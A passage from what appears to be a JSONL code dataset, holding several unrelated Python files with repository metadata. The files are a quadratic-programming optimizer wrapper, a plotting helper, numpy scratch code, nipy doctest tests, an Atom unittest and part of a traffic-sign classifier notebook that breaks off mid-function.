http://www.cvxpy.org/\n#         [2] Github repo: https://github.com/cvxgrp/cvxpy\n#     \"\"\"\n#     pass\n#\n#\n# class QuadProg(object):\n#     r\"\"\"Quadprog\n#\n#     References:\n#         [1] Github repo: https://github.com/rmcgibbo/quadprog\n#     \"\"\"\n#     pass\n\nclass QP(Optimizer):\n    r\"\"\"Quadratic Programming solvers\n\n    This class uses the `qpsolvers` which is a unified Python interface for multiple QP solvers [1,2].\n\n    .. math::\n\n        \\min_{x \\in R^n} \\frac{1}{2} x^T P x + q^T x\n\n    subject to\n\n    .. math::\n\n        Gx \\leq h\n        Ax = b\n\n    where :math:`x` is the vector of optimization variables, the matrix :math:`P` and vector :math:`q` are used to\n    define any quadratic objective function on these variables, while the matrix-vector couples :math:`(G,h)` and\n    :math:`(A,b)` respectively define inequality and equality constraints. Vector inequalities apply coordinate by\n    coordinate [1].\n\n    - Dense solvers:\n        - CVXOPT\n        - CVXPY\n        - qpOASES\n        - quadprog\n    - Sparse solvers:\n        - ECOS as wrapped by CVXPY\n        - Gurobi\n        - MOSEK\n        - OSQP\n\n    Check the available solvers by calling `print(qpsolvers.available_solvers)`.\n\n    Notes: Many solvers (including CVXOPT, OSQP and quadprog) assume that `P` is a symmetric matrix, and may return\n    erroneous results when that is not the case. You can set ``sym_proj=True`` to project `P` on its symmetric part,\n    at the cost of some computation time.\n\n    References:\n        [1] QP in Python: https://scaron.info/blog/quadratic-programming-in-python.html\n        [2] Github repo: https://github.com/stephane-caron/qpsolvers\n    \"\"\"\n\n    def __init__(self, method='quadprog', *args, **kwargs):\n        \"\"\"\n        Initialize the QP solver.\n\n        Args:\n            method (str): QP method/library to use. Select between ['cvxopt', 'cvxpy', 'ecos', 'gurobi', 'mosek',\n                'osqp', 'qpoases', 'quadprog']\n        \"\"\"\n        super(QP, self).__init__(*args, **kwargs)\n\n        solvers = set(qpsolvers.available_solvers)\n        if len(solvers) == 0:\n            raise ValueError(\"No QP solvers have been found on this computer. Please install one of the QP modules\")\n        if method not in solvers:\n            method = 'quadprog'\n        self.method = method\n\n        # check methods that require a symmetric matrix for P\n        methods = ['cvxopt', 'osqp', 'quadprog']\n        self.sym_proj = True if self.method in set(methods) else False\n\n    ##################\n    # Static Methods #\n    ##################\n\n    @staticmethod\n    def is_symmetric(X, tol=1e-8):\n        \"\"\"Check if the given matrix is symmetric.\"\"\"\n        return np.allclose(X, X.T, atol=tol)\n\n    ###########\n    # Methods #\n    ###########\n\n    def optimize(self, Q, p, x0=None, G=None, h=None, A=None, b=None):\n        r\"\"\"\n        Optimize the given quadratic problem.\n\n        .. math::\n\n            \\min_{x \\in \\mathbb{R}^N} \\frac{1}{2} x^T Q x + p^T x\n\n        subject to\n\n        .. math::\n\n            Gx \\leq h\n            Ax = b\n\n        Args:\n            Q (np.array[N,N]): matrix used in the QP objective function where `N` is the size of the vector `x` being\n                optimized.\n            p (np.array[N]): vector used in the QP objective function where `N` is the size of the vector `x` being\n                optimized.\n            G (np.array[M,N]): matrix used in the inequality constraint, where `M` is the number of inequalities, and\n                `N` is the size of the vector `x` being optimized. Note that if you have lower and upper bounds for\n                the vector `x`, you can set :attr:`G` to be the concatenation of :math:`[-I, I]^\\top`, where :math:`I`\n                is the identity matrix.\n            h (np.array[M]): vector used in the inequality constraint, where `M` is the number of inequalities. Note\n                that if you have lower and upper bounds for the vector `x`, you can set :attr:`h` to be the\n                concatenation of :math:`[-b_l^\\top, b_u^\\top]`, where :math:`b_l` and :math:`b_u` are the lower and\n                upper bounds respectively.\n            A (np.array[K,N]): matrix used in the equality constraint.\n            b (np.array[K,N]): vector used in the equality constraint.\n\n        Returns:\n            np.array: QP solution\n        \"\"\"\n        return qpsolvers.solve_qp(Q, p, G, h, A, b, solver=self.method, initvals=x0, sym_proj=self.sym_proj)\n", "meta": {"hexsha": "cd9a851fd554d1772713c9c13bd9e50ba9d1092a", "size": 5766, "ext": "py", "lang": "Python", "max_stars_repo_path": "pyrobolearn/optimizers/qpsolvers_optimizer.py", "max_stars_repo_name": "Pandinosaurus/pyrobolearn", "max_stars_repo_head_hexsha": "9cd7c060723fda7d2779fa255ac998c2c82b8436", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-01-21T21:08:30.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-29T16:45:49.000Z", "max_issues_repo_path": "pyrobolearn/optimizers/qpsolvers_optimizer.py", "max_issues_repo_name": "Pandinosaurus/pyrobolearn", "max_issues_repo_head_hexsha": "9cd7c060723fda7d2779fa255ac998c2c82b8436", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pyrobolearn/optimizers/qpsolvers_optimizer.py", "max_forks_repo_name": "Pandinosaurus/pyrobolearn", "max_forks_repo_head_hexsha": "9cd7c060723fda7d2779fa255ac998c2c82b8436", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-09-29T21:25:39.000Z", "max_forks_repo_forks_event_max_datetime": "2020-09-29T21:25:39.000Z", "avg_line_length": 32.2122905028, "max_line_length": 118, "alphanum_fraction": 0.6123829344, "include": true, "reason": "import numpy,import cvxpy", "num_tokens": 1557, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167941228965, "lm_q2_score": 0.111241213873679, "lm_q1q2_score": 0.051284067794382965}}
{"text": "import matplotlib.pyplot as plt\n\ndef visualize(x_s, y_s, labels, title, x_label, y_label, savefig=False, out_dir=\".\"):\n    \"\"\" This function generates multiple curves within a plot.\n\n    Args:\n    - x_s (list of lists): A list of x's for each curve.\n    - y_s (list of lists): A list of y's for each curve.\n    - labels (str): The labels for every curve.\n    - title (str): The title of the plot.\n    \"\"\"\n    assert len(x_s) == len(y_s) == len(labels)\n    plt.clf()\n\n    for (x, y, label) in zip(x_s, y_s, labels):\n        plt.plot(x, y, label=label)\n\n    plt.title(title)\n    plt.xlabel(x_label)\n    plt.ylabel(y_label)\n    plt.legend()\n\n    if savefig:\n        fig = plt.gcf()\n        fig.savefig(fname=f\"{out_dir}/{title}.png\", dpi=150, format=\"png\")\n    else:\n        plt.show()\n\n\nif __name__ == \"__main__\":\n    import numpy as np\n    x_s = [np.arange(10), np.arange(10)]\n    y_s = [np.arange(10), np.arange(10) + 1]\n    labels = [\"1\", \"2\"]\n    title = \"test\"\n    x_label = \"x\"\n    y_label = \"y\"\n\n    visualize(x_s, y_s, labels, title, x_label, y_label)\n", "meta": {"hexsha": "ec20d0f2b4b5fb7f0895ba4ec94a0ab945136656", "size": 1058, "ext": "py", "lang": "Python", "max_stars_repo_path": "visualize.py", "max_stars_repo_name": "AbChatt/Polynomial-Regression-Python", "max_stars_repo_head_hexsha": "f54fb70d365122c14941bfe1853d41327768ef50", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "visualize.py", "max_issues_repo_name": "AbChatt/Polynomial-Regression-Python", "max_issues_repo_head_hexsha": "f54fb70d365122c14941bfe1853d41327768ef50", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "visualize.py", "max_forks_repo_name": "AbChatt/Polynomial-Regression-Python", "max_forks_repo_head_hexsha": "f54fb70d365122c14941bfe1853d41327768ef50", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.45, "max_line_length": 85, "alphanum_fraction": 0.5916824197, "include": true, "reason": "import numpy", "num_tokens": 312, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4301473485858429, "lm_q2_score": 0.11920292671569664, "lm_q1q2_score": 0.05127482287042945}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 10 12:01:46 2020\r\n\r\n@author: 66IN\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nimport sys\r\n\r\n'''\r\na = np.array([(1,2,3),(4,5,6)])\r\n\r\nprint((a)) \r\n\r\n\r\n\r\n\r\ns = range(1000)\r\nprint(sys.getsizeof(5)*len(s))\r\n\r\nd = np.arange(1000)\r\nprint(d.size*d.itemsize)\r\n\r\n'''\r\n\r\n", "meta": {"hexsha": "15fd69e26df2ff4d9dbb60271a6569e8fa8816e2", "size": 295, "ext": "py", "lang": "Python", "max_stars_repo_path": "numpy_example.py", "max_stars_repo_name": "adityadesle/numpy_examples", "max_stars_repo_head_hexsha": "04e3bf45c71ce3be7a6ae0a9b1d03c7d49f99939", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "numpy_example.py", "max_issues_repo_name": "adityadesle/numpy_examples", "max_issues_repo_head_hexsha": "04e3bf45c71ce3be7a6ae0a9b1d03c7d49f99939", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "numpy_example.py", "max_forks_repo_name": "adityadesle/numpy_examples", "max_forks_repo_head_hexsha": "04e3bf45c71ce3be7a6ae0a9b1d03c7d49f99939", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-10-02T06:54:17.000Z", "max_forks_repo_forks_event_max_datetime": "2020-10-02T06:54:17.000Z", "avg_line_length": 10.5357142857, "max_line_length": 36, "alphanum_fraction": 0.5254237288, "include": true, "reason": "import numpy", "num_tokens": 100, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.10669059536584675, "lm_q1q2_score": 0.05126255622152621}}
{"text": "\"\"\" Doctests for Nipy / NumPy-specific nose/doctest modifications\n\"\"\"\n# try the #random directive on the output line\ndef check_random_directive():\n    '''\n    >>> 2+2\n    <BadExample object at 0x084D05AC>  #random: may vary on your system\n    '''\n\n# check the implicit \"import numpy as np\"\ndef check_implicit_np():\n    '''\n    >>> np.array([1,2,3])\n    array([1, 2, 3])\n    '''\n\n# there's some extraneous whitespace around the correct responses\ndef check_whitespace_enabled():\n    '''\n    # whitespace after the 3\n    >>> 1+2\n    3\n\n    # whitespace before the 7\n    >>> 3+4\n     7\n    '''\n\ndef check_empty_output():\n    \"\"\" Check that no output does not cause an error.\n\n    This is related to nose bug 445; the numpy plugin changed the\n    doctest-result-variable default and therefore hit this bug:\n    http://code.google.com/p/python-nose/issues/detail?id=445\n\n    >>> a = 10\n    \"\"\"\n\ndef check_skip():\n    \"\"\" Check skip directive\n\n    The test below should not run\n\n    >>> 1/0 #doctest: +SKIP\n    \"\"\"\n\ndef func():\n    return 1\n\ndef check_have_module_context():\n    \"\"\" Check that, unlike numpy, we do have the module namespace\n\n    >>> func()\n    1\n    \"\"\"\n\ndef check_fails():\n    \"\"\" Check inversion directive\n\n    The directive is mainly for tests\n\n    >>> 'black' #doctest: +NOT_EQUAL\n    'white'\n    >>> 'white' #doctest: +NOT_EQUAL\n    'black'\n    \"\"\"\n\ndef check_ignore_output():\n    \"\"\" Check IGNORE_OUTPUT option works\n\n    >>> 'The answer' #doctest: +IGNORE_OUTPUT\n    42\n    >>> 'The answer' #doctest: +IGNORE_OUTPUT\n    'The answer'\n    \"\"\"\n\ndef check_sympy_equal():\n    \"\"\" Check SYMPY_EQUAL option\n\n    >>> from sympy import symbols\n    >>> a, b, c = symbols('a, b, c')\n    >>> a + b #doctest: +SYMPY_EQUAL\n    b + a\n    >>> a + b #doctest: +SYMPY_EQUAL\n    a + b\n    >>> a + b #doctest: +SYMPY_EQUAL +NOT_EQUAL\n    a + c\n    >>> a + b #doctest: +SYMPY_EQUAL +NOT_EQUAL\n    a - b\n    \"\"\"\n\ndef check_fp_equal():\n    \"\"\" Check floating point equal\n\n    >>> 0.12345678 #doctest: +FP_6DP\n    0.1234569\n    >>> 0.12345678 #doctest: +FP_6DP +NOT_EQUAL\n    0.1234564\n    >>> 0.12345678 #doctest: +FP_4DP\n    0.1235\n    >>> 0.12345678 #doctest: +FP_6DP +NOT_EQUAL\n    0.1235\n    \"\"\"\n\ndef check_array_repr():\n    \"\"\" Stripping of array repr\n\n    >>> arr = np.arange(5, dtype='i2')\n\n    The test should match with and without the array repr\n\n    >>> arr #doctest: +STRIP_ARRAY_REPR\n    [0, 1, 2, 3, 4]\n    >>> arr #doctest: +STRIP_ARRAY_REPR\n    array([0, 1, 2, 3, 4], dtype=int16)\n    \"\"\"\n\ndef check_combinations():\n    \"\"\" Check the processing combines as expected\n\n    >>> 0.33333 #doctest: +SYMPY_EQUAL +NOT_EQUAL\n    0.3333\n    >>> 0.33333 #doctest: +SYMPY_EQUAL +FP_4DP\n    0.3333\n    >>> arr = np.arange(5, dtype='i2')\n\n    This next will not sympify unless the array repr is removed\n\n    >>> arr #doctest: +STRIP_ARRAY_REPR +SYMPY_EQUAL\n    array([0, 1, 2, 3, 4], dtype=int16)\n    \"\"\"\n\n\nif __name__ == '__main__':\n    # Run tests outside nipy test rig\n    import sys\n    import nose\n    from nipy.testing.doctester import NipyDoctest\n    argv = [sys.argv[0], __file__, '--with-nipydoctest'] + sys.argv[1:]\n    nose.core.TestProgram(argv=argv, addplugins=[NipyDoctest()])\n", "meta": {"hexsha": "533fd95475ac173862b078394afa3c3287d4965d", "size": 3188, "ext": "py", "lang": "Python", "max_stars_repo_path": "nipy/testing/tests/test_doctesting.py", "max_stars_repo_name": "neurospin/nipy", "max_stars_repo_head_hexsha": "cc54600a0dca1e003ad393bc05c46f91eef30a68", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2016-03-08T15:01:06.000Z", "max_stars_repo_stars_event_max_datetime": "2016-03-08T15:01:06.000Z", "max_issues_repo_path": "nipy/testing/tests/test_doctesting.py", "max_issues_repo_name": "fabianp/nipy", "max_issues_repo_head_hexsha": "40e89f3ca7f34df05631623807993026134e6de3", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "nipy/testing/tests/test_doctesting.py", "max_forks_repo_name": "fabianp/nipy", "max_forks_repo_head_hexsha": "40e89f3ca7f34df05631623807993026134e6de3", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.609929078, "max_line_length": 71, "alphanum_fraction": 0.6116687578, "include": true, "reason": "import numpy,from sympy", "num_tokens": 998, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.1066905939456512, "lm_q1q2_score": 0.051262555539152516}}
{"text": "import atom\nimport unittest\nimport numpy as np\n\nclass AtomUnittest(unittest.TestCase):\n    \"\"\"Unit tests for the Atom Class\"\"\"\n    def test_creation(self):\n        \"\"\"Testing the default and copy constructors\"\"\"\n        target_string = \"H1 1 2 3\"\n        first = atom.Atom(\"H1\",np.array([1,2,3]))\n        second = first.copy()\n        self.assertTrue(target_string == str(first))\n        self.assertTrue(target_string == str(second))\n        \n    def test_move(self):\n        \"\"\"Testing that Atom.move() functions properly \"\"\"\n        test_atom = atom.Atom(\"TEST\", np.array([0,0,0]))\n        test_atom.move([1,2,3])\n\n        self.assertListEqual(list(test_atom.coords),[1,2,3])\n        \n        test_atom.move([-3,-3,-3])\n        self.assertListEqual(list(test_atom.coords),[-2,-1,0])\n    \n    def test_repr_str_equivalent(self):\n        \"\"\"Testing that the __str__() and __repr__() methods produce equivalent, correct output\"\"\"\n        target_string = \"TEST -1000 0 1000\"\n        test_atom = atom.Atom(\"TEST\",np.array([-1000,0,1000]))\n        \n        self.assertEqual(target_string,str(test_atom))\n        self.assertEqual(str(test_atom),test_atom.__repr__())\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "24e1f70935653a0db170141c22dd9e3375d22f89", "size": 1210, "ext": "py", "lang": "Python", "max_stars_repo_path": "atom_unittest.py", "max_stars_repo_name": "YesselmanLab/python_tutorials", "max_stars_repo_head_hexsha": "7b2b80323ecdf876ffa72673d3440d5e6511091a", "max_stars_repo_licenses": ["IJG"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "atom_unittest.py", "max_issues_repo_name": "YesselmanLab/python_tutorials", "max_issues_repo_head_hexsha": "7b2b80323ecdf876ffa72673d3440d5e6511091a", "max_issues_repo_licenses": ["IJG"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "atom_unittest.py", "max_forks_repo_name": "YesselmanLab/python_tutorials", "max_forks_repo_head_hexsha": "7b2b80323ecdf876ffa72673d3440d5e6511091a", "max_forks_repo_licenses": ["IJG"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.5714285714, "max_line_length": 98, "alphanum_fraction": 0.6239669421, "include": true, "reason": "import numpy", "num_tokens": 292, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.10669058968506456, "lm_q1q2_score": 0.05126255349203149}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Self-Driving Car Engineer Nanodegree\n# \n# ## Deep Learning\n# \n# ## Project: Build a Traffic Sign Recognition Classifier\n# \n# In this notebook, a template is provided for you to implement your functionality in stages, which is required to successfully complete this project. If additional code is required that cannot be included in the notebook, be sure that the Python code is successfully imported and included in your submission if necessary. \n# \n# > **Note**: Once you have completed all of the code implementations, you need to finalize your work by exporting the iPython Notebook as an HTML document. Before exporting the notebook to html, all of the code cells need to have been run so that reviewers can see the final implementation and output. You can then export the notebook by using the menu above and navigating to  \\n\",\n#     \"**File -> Download as -> HTML (.html)**. Include the finished document along with this notebook as your submission. \n# \n# In addition to implementing code, there is a writeup to complete. The writeup should be completed in a separate file, which can be either a markdown file or a pdf document. There is a [write up template](https://github.com/udacity/CarND-Traffic-Sign-Classifier-Project/blob/master/writeup_template.md) that can be used to guide the writing process. Completing the code template and writeup template will cover all of the [rubric points](https://review.udacity.com/#!/rubrics/481/view) for this project.\n# \n# The [rubric](https://review.udacity.com/#!/rubrics/481/view) contains \"Stand Out Suggestions\" for enhancing the project beyond the minimum requirements. The stand out suggestions are optional. If you decide to pursue the \"stand out suggestions\", you can include the code in this Ipython notebook and also discuss the results in the writeup file.\n# \n# \n# >**Note:** Code and Markdown cells can be executed using the **Shift + Enter** keyboard shortcut. In addition, Markdown cells can be edited by typically double-clicking the cell to enter edit mode.\n\n# ---\n# ## Step 0: Load The Data\n\n# In[26]:\n\n\n# Load pickled data\nimport pickle\nimport numpy as np\n# Load the training, validation and testing data\n\ntraining_file = '../data/train.p'\nvalidation_file= '../data/valid.p'\ntesting_file = '../data/test.p'\n\nwith open(training_file, mode='rb') as f:\n    train = pickle.load(f)\nwith open(validation_file, mode='rb') as f:\n    valid = pickle.load(f)\nwith open(testing_file, mode='rb') as f:\n    test = pickle.load(f)\n    \nX_train, y_train = train['features'], train['labels']\nX_valid, y_valid = valid['features'], valid['labels']\nX_test, y_test = test['features'], test['labels']\n\n# Lets check if data is not missing. Length of features and labels should match\nassert(len(X_train) == len(y_train))\nassert(len(X_valid) == len(y_valid))\nassert(len(X_test) == len(y_test))\n\n# Print some stats for data that we gonna use\nprint()\nprint(\"Image Shape: {}\".format(X_train[0].shape))\nprint()\nprint(\"Training Set: {} Samples\".format(len(X_train)))\nprint(\"Validation Set: {} Samples\".format(len(X_valid)))\nprint(\"Tesging Set: {} Samples\".format(len(X_test)))\nprint()\nprint(\"Feature Shape: {}\".format(np.shape(X_train)))\nprint(\"Labels Shape: {}\".format(np.shape(y_train)))\n# import matplotlib.pyplot as plt\n# img = X_train[0].squeeze()\n# plt.figure(figsize=(1,1))\n# plt.imshow(img)\n# print(X_train[0])\n\n\n# ---\n# \n# ## Step 1: Dataset Summary & Exploration\n# \n# The pickled data is a dictionary with 4 key/value pairs:\n# \n# - `'features'` is a 4D array containing raw pixel data of the traffic sign images, (num examples, width, height, channels).\n# - `'labels'` is a 1D array containing the label/class id of the traffic sign. The file `signnames.csv` contains id -> name mappings for each id.\n# - `'sizes'` is a list containing tuples, (width, height) representing the original width and height the image.\n# - `'coords'` is a list containing tuples, (x1, y1, x2, y2) representing coordinates of a bounding box around the sign in the image. **THESE COORDINATES ASSUME THE ORIGINAL IMAGE. THE PICKLED DATA CONTAINS RESIZED VERSIONS (32 by 32) OF THESE IMAGES**\n# \n# Complete the basic data summary below. Use python, numpy and/or pandas methods to calculate the data summary rather than hard coding the results. For example, the [pandas shape method](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.shape.html) might be useful for calculating some of the summary results. \n\n# ### Provide a Basic Summary of the Data Set Using Python, Numpy and/or Pandas\n\n# In[27]:\n\n\n### Replace each question mark with the appropriate value. \n### Use python, pandas or numpy methods rather than hard coding the results\n\n# Number of training examples\nn_train = len(X_train)\n\n# Number of validation examples\nn_validation = len(X_valid)\n\n# Number of testing examples.\nn_test = len(X_test)\n\n# What's the shape of an traffic sign image?\nimage_shape = X_train[0].shape\n\n# How many unique classes/labels there are in the dataset.\nn_classes = len(np.unique(y_train))\n\nprint(\"Number of training examples =\", n_train)\nprint(\"Number of testing examples =\", n_test)\nprint(\"Number of validation examples =\", n_validation)\nprint(\"Image data shape =\", image_shape)\nprint(\"Number of classes =\", n_classes)\n\n\n# ### Include an exploratory visualization of the dataset\n\n# Visualize the German Traffic Signs Dataset using the pickled file(s). This is open ended, suggestions include: plotting traffic sign images, plotting the count of each sign, etc. \n# \n# The [Matplotlib](http://matplotlib.org/) [examples](http://matplotlib.org/examples/index.html) and [gallery](http://matplotlib.org/gallery.html) pages are a great resource for doing visualizations in Python.\n# \n# **NOTE:** It's recommended you start with something simple first. If you wish to do more, come back to it after you've completed the rest of the sections. It can be interesting to look at the distribution of classes in the training, validation and test set. Is the distribution the same? Are there more examples of some classes than others?\n\n# In[32]:\n\n\n### Data exploration visualization code goes here.\n### Feel free to use as many code cells as needed.\nimport matplotlib.pyplot as plt\n# Visualizations will be shown in the notebook.\nf, axarr = plt.subplots(2,2)\n\n# count of each traffic sign in training data set\nunique, counts = np.unique(y_train, return_counts=True)\naxarr[0,0].bar(unique, counts)\n\ntop_5_idx = np.argsort(counts)[-5:]\ntop_5_signs = [unique[i] for i in top_5_idx]\nprint(\"5 Sign with highest Samples: \", top_5_signs)\n\nbottom_5_idx = np.argsort(counts)[0:4]\nbottom_5_signs = [unique[i] for i in bottom_5_idx]\nprint(\"5 Sign with lowest Samples: \", bottom_5_signs)\n\n# plt.ylabel('Counts')\n# plt.xlabel('Sign')\n\n# show image of one of the least occuring sign and one most occuring sign\nidx_least_occur_image = np.where(y_train==0)\nidx_most_occur_image = np.where(y_train==1)\nimg_sign_least_count = X_train[idx_least_occur_image[0][0]]\naxarr[0,1].imshow(img_sign_least_count)\n#print(idx_most_occur_image[0])\nimg_sign_max_count = X_train[idx_most_occur_image[0][6]]\naxarr[1,0].imshow(img_sign_max_count)\n\n\n# ----\n# \n# ## Step 2: Design and Test a Model Architecture\n# \n# Design and implement a deep learning model that learns to recognize traffic signs. Train and test your model on the [German Traffic Sign Dataset](http://benchmark.ini.rub.de/?section=gtsrb&subsection=dataset).\n# \n# The LeNet-5 implementation shown in the [classroom](https://classroom.udacity.com/nanodegrees/nd013/parts/fbf77062-5703-404e-b60c-95b78b2f3f9e/modules/6df7ae49-c61c-4bb2-a23e-6527e69209ec/lessons/601ae704-1035-4287-8b11-e2c2716217ad/concepts/d4aca031-508f-4e0b-b493-e7b706120f81) at the end of the CNN lesson is a solid starting point. You'll have to change the number of classes and possibly the preprocessing, but aside from that it's plug and play! \n# \n# With the LeNet-5 solution from the lecture, you should expect a validation set accuracy of about 0.89. To meet specifications, the validation set accuracy will need to be at least 0.93. It is possible to get an even higher accuracy, but 0.93 is the minimum for a successful project submission. \n# \n# There are various aspects to consider when thinking about this problem:\n# \n# - Neural network architecture (is the network over or underfitting?)\n# - Play around preprocessing techniques (normalization, rgb to grayscale, etc)\n# - Number of examples per label (some have more than others).\n# - Generate fake data.\n# \n# Here is an example of a [published baseline model on this problem](http://yann.lecun.com/exdb/publis/pdf/sermanet-ijcnn-11.pdf). It's not required to be familiar with the approach used in the paper but, it's good practice to try to read papers like these.\n\n# ### Pre-process the Data Set (normalization, grayscale, etc.)\n\n# Minimally, the image data should be normalized so that the data has mean zero and equal variance. For image data, `(pixel - 128)/ 128` is a quick way to approximately normalize the data and can be used in this project. \n# \n# Other pre-processing steps are optional. You can try different techniques to see if it improves performance. \n# \n# Use the code cell (or multiple code cells, if necessary) to implement the first step of your project.\n\n# In[5]:\n\n\n### Preprocess the data here. It is required to normalize the data. Other preprocessing steps could include \n### converting to grayscale, etc.\n### Feel free to use as many code cells as needed.\nfrom skimage import color\nimport matplotlib.pyplot as plt\nfrom sklearn.utils import shuffle\n\nX_train, y_train = shuffle(X_train, y_train)\nX_test, y_test = shuffle(X_test, y_test)\n\nX_train = X_train.astype(\"float32\")\nX_valid = X_valid.astype(\"float32\")\nX_test = X_test.astype(\"float32\")\n\n# Normalize Data\ndef normalize(data):\n    return (data - 128)/128\n\n\n# grayscale data\nX_train = color.rgb2gray(X_train)\nX_valid = color.rgb2gray(X_valid)\nX_test = color.rgb2gray(X_test)\n\n# some debug information\n# img = X_train[0].squeeze()\n# plt.figure(figsize=(1,1))\n# plt.imshow(img, cmap=\"gray\")\n# print(X_train.shape)\n# print(X_valid.shape)\n\n# now reshape them\nX_train_processed = np.reshape(X_train,(len(X_train),32,32,1))\nX_valid_processed = np.reshape(X_valid,(len(X_valid),32,32,1))\nX_test_processed = np.reshape(X_test,(len(X_test),32,32,1))\n# some debug information to confirm matrix reshape\n# print(X_train_processed.shape)\n# print(X_valid_processed.shape)\n# img = X_train_processed[0].squeeze()\n# plt.figure(figsize=(1,1))\n# plt.imshow(img, cmap=\"gray\")\n\nX_train_processed = normalize(X_train_processed)\nX_valid_processed = normalize(X_valid_processed)\nX_test_processed = normalize(X_test_processed)\n\n# print(X_train_processed.shape)\n# print(X_valid_processed.shape)\nprint(\"PreProcessing Done\")\n\n\n# ### Model Architecture\n\n# In[6]:\n\n\n### Define your architecture here.\n### Feel free to use as many code cells as needed.\n# Tunebale parameters\nimport tensorflow as tf\n\nEPOCHS = 11\nBATCH_SIZE = 128\ninput_channel = 1\nprint(\"Hyper Parameter Set\")\n\n\n# In[7]:\n\n\nfrom tensorflow.contrib.layers import flatten\n\ndef LeNet(x):    \n    # Arguments used for tf.truncated_normal, randomly defines variables for the weights and biases for each layer\n    mu = 0\n    sigma = 0.1\n\n    # Layer 1: Convolutional. Input = 32x32x input_channel. Output = 28x28x6.\n    # for this filter size = 5, Stride = 1, padding = 0 and number of filter is 6\n    F_W = tf.Variable(tf.truncated_normal(shape=(5, 5, input_channel, 6), mean = mu, stddev = sigma))\n    F_b = tf.Variable(tf.zeros(6))\n    strides = [1, 1, 1, 1]\n    padding = 'VALID'\n    conv_1_layer = tf.nn.conv2d(x, F_W, strides, padding)\n    conv_1_layer = tf.nn.bias_add(conv_1_layer, F_b)\n    \n    # Activation. RELU\n    conv_1_layer = tf.nn.relu(conv_1_layer)\n      \n    # Pooling. Input = 28x28x6. Output = 14x14x6.\n    # for this filter size = 2, Stride = 2, padding = 0 and number of filter is 6\n    conv_1_pool = tf.nn.max_pool(conv_1_layer, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='VALID')\n    \n    # Layer 2: Convolutional. Output = 10x10x16.\n    # for this filter size = 5, Stride = 1, padding = 0 and number of filter is 16\n    F_W = tf.Variable(tf.truncated_normal(shape=(5, 5, 6, 16), mean = mu, stddev = sigma))\n    F_b = tf.Variable(tf.zeros(16))\n    strides = [1, 1, 1, 1]\n    padding = 'VALID'\n    conv_2_layer = tf.nn.conv2d(conv_1_pool, F_W, strides, padding)\n    conv_2_layer = tf.nn.bias_add(conv_2_layer, F_b)\n        \n    # Activation. RELU\n    conv_2_layer = tf.nn.relu(conv_2_layer)\n    # Pooling. Input = 10x10x16. Output = 5x5x16.\n    # for this filter size = 2, Stride = 2, padding = 0 and number of filter is 6\n    conv_2_pool = tf.nn.max_pool(conv_2_layer, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='VALID')\n    \n    # Flatten. Input = 5x5x16. Output = 400.\n    flat_conv = flatten(conv_2_pool)\n    \n    # Layer 3: Fully Connected. Input = 400. Output = 120.\n    weigth_1 = tf.Variable(tf.truncated_normal(shape=(400,120), mean=mu, stddev=sigma))\n    bias_1 = tf.Variable(tf.zeros(120))\n    fc1 = tf.add(tf.matmul(flat_conv, weigth_1), bias_1)\n\n    # Activation. RELU\n    fc1 = tf.nn.relu(fc1)\n    fc1 = tf.nn.dropout(fc1, keep_prob)\n    \n    # Layer 4: Fully Connected. Input = 120. Output = 84.\n    weigth_2 = tf.Variable(tf.truncated_normal(shape=(120,84), mean=mu, stddev=sigma))\n    bias_2 = 